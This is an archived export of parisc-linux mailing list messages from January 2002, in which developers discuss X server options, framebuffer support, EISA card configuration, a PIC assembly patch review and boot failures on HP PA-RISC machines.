List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13606

On many PARISC Systems there is still no X-Windows
support or X-Windows has to access the graphics card
via the framebuffer device.

I wonder if there could be a chance to get the X-Server
from HPUX working under PALinux. Would the HPUX
compatiblity be good enough to have a chance whith
that?

Perhaps the suggestion sounds a bit unconventional but
for example many people running NETBSD on the
680x0 based HP-Workstations have made good experiences
with that. For example I am running a HP9000/425
und NETBSD 1.5 but because the HP300 port of
XFree is slow and buggy, I use the Xserver from
HPUX 9.


SVen




From - Thu Nov 08 21:21:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PALinux on HP9000/735-125
Date: Sun, 6 Jan 2002 20:13:46 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20020106201346.A14927@solo.franken.de>
References: <3C388C82.6070509@web.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620927 438 80.91.229.3 (22 Nov 2014 01:48:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Sven Cronenberg <sven.cronenberg@web.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan  6 12:16:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from solo.franken.de (pD951C253.dip.t-dialin.net [217.81.194.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id 57662483B
	for <parisc-linux@lists.parisc-linux.org>; Sun,  6 Jan 2002 12:16:35 -0700 (MST)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id g06JDks16592;
	Sun, 6 Jan 2002 20:13:46 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3C388C82.6070509@web.de>; from sven.cronenberg@web.de on Sun, Jan 06, 2002 at 06:42:26PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13607

On Sun, Jan 06, 2002 at 06:42:26PM +0100, Sven Cronenberg wrote:
> - I tried execessing the framebufferdevice. 'fbset' report '/dev/fb0: no 
> such device'
>   though the STI console works fine as a text-console. Whats the reasion 
> for that error?

crx48z is untested, so we don't try to use it in framebuffer mode. There
is a check in drivers/video/stifb.c which refuses untested cards (search
for Hack). Just remove that check and see what happens.

>   Can I currently use the framebuffer device on the HP9000/735?

if you build your own kernel with the check removed, it might work.

> - has someone been able to make the 100mbit EISA-ethernet-card 3c597 work
>   in the HP9000/735 under Linux?

IMHO no EISA card will work at the moment. During the weekend I tried
to get an Adapatec 1742 card going in my B132, and the problem is,
that the pdc doesn't initialize EISA cards. Looks like that is done
by HPUX. So before any EISA cards will work, we need something like 
that for Linux, too.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]



From - Thu Nov 08 21:21:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PIC assembly
Date: Sun, 6 Jan 2002 16:32:32 -0500 (EST)
Lines: 38
Approved: news@gmane.org
Message-ID: <200201062132.g06LWWbv027708@hiauly1.hia.nrc.ca>
References: <20020106172619.GD14884@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620927 440 80.91.229.3 (22 Nov 2014 01:48:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:47 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: randolph@tausq.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan  6 14:32:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 00E4E482C
	for <parisc-linux@parisc-linux.org>; Sun,  6 Jan 2002 14:32:35 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g06LWX7c027710;
	Sun, 6 Jan 2002 16:32:33 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g06LWWbv027708;
	Sun, 6 Jan 2002 16:32:32 -0500 (EST)
In-Reply-To: <20020106172619.GD14884@tausq.org> from "Randolph Chung" at Jan 6, 2002 09:26:19 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13608

> I'ved filed a possible patch for this in the bug report, but I'm not
> 100% convinced I understand this correctly. Can someone please take a
> look and let me know? 

The patch needs to be revised.  You can't use r19 as a scratch register
in PIC mode.  There are several places where it is used in the routine.
Maybe you use can use r1 in its place.

> --- udiv-qrnnd.S.orig	Thu May 31 03:14:12 2001
> +++ udiv-qrnnd.S	Sat Jan  5 23:27:02 2002
> @@ -51,8 +51,11 @@
>  
>  	stws		%r25,-16(0,%r30)	; n_hi
>  	stws		%r24,-12(0,%r30)	; n_lo
> -	ldil		L'L$0000,%r19           ; '
> -	ldo		R'L$0000(%r19),%r19     ; '
> +
> +	stw             %r19,-32(%r30)
> +	addil		LT%L$0000,%r19
> +	ldw		RT%L$0000(%r1),%r1

Change following fldds insn to use r1, or change destination register in
the above to some other caller saved register and the fldds insn to match.

> +	ldw		0(%r1), %r19

Wrong.  This would load 0x43f00000 into r19.

Finally, you should put the data in the data section.  There might be a
problem accessing data in the code section with LT% (RT%) because LT%
is "LR% value offset of data linkage slots from linkage table pointer (r19)".

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:21:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christian Suder <csuder@cisco.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PALinux on HP9000/735-125
Date: Sun, 6 Jan 2002 13:34:32 -0800
Lines: 30
Approved: news@gmane.org
Message-ID: <20020106133432.08684bb1.csuder@cisco.com>
References: <3C388C82.6070509@web.de>
	<20020106201346.A14927@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620927 442 80.91.229.3 (22 Nov 2014 01:48:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:47 +0000 (UTC)
Cc: sven.cronenberg@web.de, parisc-linux@lists.parisc-linux.org
To: "Thomas Bogendoerfer" <tsbogend@alpha.franken.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan  6 14:34:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sj-msg-core-2.cisco.com (sj-msg-core-2.cisco.com [171.69.24.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4512C482E
	for <parisc-linux@lists.parisc-linux.org>; Sun,  6 Jan 2002 14:34:36 -0700 (MST)
Original-Received: from mira-sjc5-9.cisco.com (mira-sjc5-9.cisco.com [171.71.163.32])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id g06LYY405733;
	Sun, 6 Jan 2002 13:34:34 -0800 (PST)
Original-Received: from cisco.com (ssh-sj1.cisco.com [171.68.225.134])
	by mira-sjc5-9.cisco.com (Mirapoint)
	with SMTP id ABT05524;
	Sun, 6 Jan 2002 13:34:42 -0800 (PST)
In-Reply-To: <20020106201346.A14927@solo.franken.de>
X-Mailer: Sylpheed version 0.6.6claws36 (GTK+ 1.2.10; hppa-debian-linux-gnu)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13609

> 
> > - has someone been able to make the 100mbit EISA-ethernet-card 3c597
work> >   in the HP9000/735 under Linux?
> 
> IMHO no EISA card will work at the moment. During the weekend I tried
> to get an Adapatec 1742 card going in my B132, and the problem is,
> that the pdc doesn't initialize EISA cards. Looks like that is done
> by HPUX. So before any EISA cards will work, we need something like 
> that for Linux, too.
> 

I was trying to get EISA cards working a while ago. The basic problem is,
as Thomas indicated, that the EISA cards need to be configured by a
configuration utility before you can use them. HPUX has a utility called
eisa_config, but there is no equivalent in Linux. Seems all other EISA
platforms (i386, alpha, mips) can be configured by booting a diskette, so
nobody bothered with a linux version yet. 

I think it should work to boot HPUX, get the correct EISA .cfg file and
use the eisa_config utility. The configuration is actually stored in an
eeprom, so it's not tied to the OS. I can't test this though as the only
HPUX CDs I have are too old for the machine.

Another option may be to run the utility on Linux, tried that once but it
complained it could not access /dev/eeprom. A bit scary too, if something
goes wrong one could end up with a corrupt eeprom.... 

	Christian 



From - Thu Nov 08 21:21:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PALinux on HP9000/735-125
Date: Sun, 6 Jan 2002 23:29:08 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20020106232908.B19425@solo.franken.de>
References: <3C388C82.6070509@web.de> <20020106201346.A14927@solo.franken.de> <20020106133432.08684bb1.csuder@cisco.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620928 446 80.91.229.3 (22 Nov 2014 01:48:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:48 +0000 (UTC)
Cc: sven.cronenberg@web.de, parisc-linux@lists.parisc-linux.org
To: Christian Suder <csuder@cisco.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan  6 15:29:30 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from solo.franken.de (pD951C253.dip.t-dialin.net [217.81.194.83])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1A6364831
	for <parisc-linux@lists.parisc-linux.org>; Sun,  6 Jan 2002 15:29:29 -0700 (MST)
Original-Received: (from tsbogend@localhost)
	by solo.franken.de (8.11.6/8.11.6) id g06MT8819674;
	Sun, 6 Jan 2002 23:29:08 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20020106133432.08684bb1.csuder@cisco.com>; from csuder@cisco.com on Sun, Jan 06, 2002 at 01:34:32PM -0800
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13610

On Sun, Jan 06, 2002 at 01:34:32PM -0800, Christian Suder wrote:
> I think it should work to boot HPUX, get the correct EISA .cfg file and
> use the eisa_config utility. The configuration is actually stored in an

but that's not enough. I did that and setup the card with HPUX, but it's
still unconfigured, when Linux finds it. The .cfg describes how to
configure the different card parameters, eisa_config puts the selected
params to a nvram, and some other part does the real card poking
during kernel startup. Other platforms have that card poking stuff
included into the firmware.

It isn't a big deal to do the card setup itself, because .cfg includes
everything needed. It's more a problem of getting that information
during the kernel startup. If we know the nvram setup and how stuff
gets put there, we could read that and do the card setup from within
the Linux kernel. But I haven't found anything about that, yet.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessary a
good idea.                                 [ Alexander Viro on linux-kernel ]



From - Thu Nov 08 21:21:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: <nick@snowman.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PALinux on HP9000/735-125
Date: Sun, 6 Jan 2002 19:04:38 -0500 (EST)
Lines: 40
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0201061903240.9630-100000@ns>
References: <20020106232908.B19425@solo.franken.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416620928 448 80.91.229.3 (22 Nov 2014 01:48:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:48 +0000 (UTC)
Cc: Christian Suder <csuder@cisco.com>, sven.cronenberg@web.de,
	parisc-linux@lists.parisc-linux.org
To: Thomas Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan  6 17:05:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.snowman.net (ns.snowman.net [63.80.4.34])
	by dsl2.external.hp.com (Postfix) with ESMTP id 890054832
	for <parisc-linux@lists.parisc-linux.org>; Sun,  6 Jan 2002 17:05:33 -0700 (MST)
Original-Received: from localhost (nick@localhost)
	by ns.snowman.net (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id TAA04558;
	Sun, 6 Jan 2002 19:04:38 -0500
X-Sender: nick@ns
In-Reply-To: <20020106232908.B19425@solo.franken.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13611

Just as a mostly offtopic note you may well be able to get some help with
this (or loan out some help) to the mips port.  Some SGI systems (SGI I2
comes to mind) have EISA slots, and I suspect suffer from the same
problem, it's also possible that SGI has come up with a workaround for it,
so you'd have to get in touch with someone in the know.
	Nick

On Sun, 6 Jan 2002, Thomas Bogendoerfer wrote:

> On Sun, Jan 06, 2002 at 01:34:32PM -0800, Christian Suder wrote:
> > I think it should work to boot HPUX, get the correct EISA .cfg file and
> > use the eisa_config utility. The configuration is actually stored in an
> 
> but that's not enough. I did that and setup the card with HPUX, but it's
> still unconfigured, when Linux finds it. The .cfg describes how to
> configure the different card parameters, eisa_config puts the selected
> params to a nvram, and some other part does the real card poking
> during kernel startup. Other platforms have that card poking stuff
> included into the firmware.
> 
> It isn't a big deal to do the card setup itself, because .cfg includes
> everything needed. It's more a problem of getting that information
> during the kernel startup. If we know the nvram setup and how stuff
> gets put there, we could read that and do the card setup from within
> the Linux kernel. But I haven't found anything about that, yet.
> 
> Thomas.
> 
> -- 
> Crap can work. Given enough thrust pigs will fly, but it's not necessary a
> good idea.                                 [ Alexander Viro on linux-kernel ]
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 




From - Thu Nov 08 21:21:07 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthias Klose <doko@cs.tu-berlin.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] installation problems on an A500
Date: Mon, 7 Jan 2002 03:58:25 +0100
Lines: 83
Approved: news@gmane.org
Message-ID: <15417.3793.688638.629130@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620928 451 80.91.229.3 (22 Nov 2014 01:48:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:48 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan  6 19:58:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.cs.tu-berlin.de (mail.cs.tu-berlin.de [130.149.17.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id 901CA4834
	for <parisc-linux@lists.parisc-linux.org>; Sun,  6 Jan 2002 19:58:34 -0700 (MST)
Original-Received: from bolero.cs.tu-berlin.de (doko@bolero.cs.tu-berlin.de [130.149.19.1])
	by mail.cs.tu-berlin.de (8.9.3/8.9.3) with ESMTP id DAA03783
	for <parisc-linux@lists.parisc-linux.org>; Mon, 7 Jan 2002 03:58:26 +0100 (MET)
Original-Received: (from doko@localhost)
	by bolero.cs.tu-berlin.de (8.10.2+Sun/8.9.3) id g072wPU29004;
	Mon, 7 Jan 2002 03:58:25 +0100 (MET)
X-Mailer: VM 6.89 under 21.1 (patch 14) "Cuyahoga Valley" XEmacs Lucid
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13612

Trying to install Debian on the machine:

- trying to boot from the network, I get:

Main Menu: Enter command or menu > bo pri
Interact with IPL (Y, N, or Cancel)?> y

Booting... 
Network Station Address 00306e-132574
System IP Address 192.168.42.183
Server IP Address 192.168.42.5

Boot IO Dependent Code (IODC) revision 2

IPL error: bad LIF magic.

************* SYSTEM ALERT **************
SYSTEM NAME: gsphppa
DATE: 01/07/2002 TIME: 02:24:50
ALERT LEVEL: 6 = Boot possible, pending failure - action required

REASON FOR ALERT
SOURCE: 8 = I/O 
SOURCE DETAIL: 6 = disk   SOURCE ID: 0
PROBLEM DETAIL: 0 = no problem detail

LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       FLASH    FLASH         ON        ON         ON
LED State: Boot Failed.  Running non-OS code.  Non-critical error detected.
Check Chassis and Console Logs for error messages.

0x00000060860010C0 00000000 00000000 - type  0 = Data Field Unused
0x58000860860010C0 00006600 07021832 - type 11 = Timestamp 01/07/2002 02:24:50
A: ack read of this entry - X: Disable all future alert messages

the changelog on the bootp/tftpboot server shows:

Jan  7 03:26:00 gate bootpd[25080]: recvd pkt from IP addr 0.0.0.0
Jan  7 03:26:00 gate bootpd[25080]: bootptab mtime: Mon Jan  7 03:25:27 2002
Jan  7 03:26:00 gate bootpd[25080]: reading new "/etc/bootptab"
Jan  7 03:26:00 gate bootpd[25080]: read 2 entries (2 hosts) from "/etc/bootptab"
Jan  7 03:26:00 gate bootpd[25080]: request from Ethernet address 00:30:6E:13:25:74
Jan  7 03:26:00 gate bootpd[25080]: found 192.168.42.183 (hppa)
Jan  7 03:26:00 gate bootpd[25080]: bootfile="/tftpboot/palinux"
Jan  7 03:26:00 gate bootpd[25080]: vendor magic field is 99.130.83.99
Jan  7 03:26:00 gate bootpd[25080]: sending reply (with RFC1048 options)
Jan  7 03:26:00 gate bootpd[25080]: setarp 192.168.42.183 - 00:30:6E:13:25:74
Jan  7 03:26:02 gate in.tftpd[28213]: connect from hppa.local
Jan  7 03:26:02 gate tftpd[28214]: tftpd: trying to get file: /tftpboot/palinux 

Tried this with the lifimage from woody/main (2001-12-19) and the
lifimage from parisc-linux.org (2001-12-26), checked md5sums after
downloading.

Yesterday, I borrowed an external CD-ROM and tried to boot from a
CD-ROM (burnt the ISO image). Now getting:

bo 0/0/2/0.3
Interact with IPL (Y, N, or Cancel)?> y

Booting... 
Failed to initialize.

ENTRY_INIT 
Status = -3

00000000 FFFFFFFD 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000012 00000000 00000000 00000000 00000000 
00000000 454E4841 00000000 00000000 00000000 00000000 00000000 454E4841 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000400 00000000 00000000 00000000 00000000 00000000 00000000 

Failed to initialize.


Any hints how to start/continue?

Thanks, Matthias



From - Thu Nov 08 21:21:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HOWTO - PARISC Linux XC (v1.0 Dec 31 2001)
Date: Sun, 06 Jan 2002 20:27:35 -0700
Lines: 14
Approved: news@gmane.org
Message-ID: <20020107032735.9E74D4838@dsl2.external.hp.com>
References: <20011231164231.C4130@systemhalted>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620929 454 80.91.229.3 (22 Nov 2014 01:48:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:49 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@parisc-linux.org, marteaut@esiee.fr
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan  6 20:27:35 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 9E74D4838; Sun,  6 Jan 2002 20:27:35 -0700 (MST)
In-Reply-To: Message from "Carlos O'Donell Jr." <carlos@baldric.uwo.ca> 
   of "Mon, 31 Dec 2001 16:42:31 EST." <20011231164231.C4130@systemhalted> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13613

"Carlos O'Donell Jr." wrote:
> Cross-Compiler HOWTO at:
> 
> http://www.baldric.uwo.ca/HOWTO/PARISC-Linux-XC-HOWTO.html

I've replicated those pages so they are just a "drop in"
(only need to be renamed from *.html to *.x)...but I didn't
fix the navigavtion bar mess completely....The various Build
HOW-TOs will show up in the navigation bar.

thanks Carlos!
grant



From - Thu Nov 08 21:21:07 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] installation problems on an A500
Date: Sun, 06 Jan 2002 20:46:15 -0700
Lines: 28
Approved: news@gmane.org
Message-ID: <20020107034615.9BFD64839@dsl2.external.hp.com>
References: <15417.3793.688638.629130@gargle.gargle.HOWL>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620929 458 80.91.229.3 (22 Nov 2014 01:48:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:48:49 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthias Klose <doko@cs.tu-berlin.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Jan  6 20:46:15 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 9BFD64839; Sun,  6 Jan 2002 20:46:15 -0700 (MST)
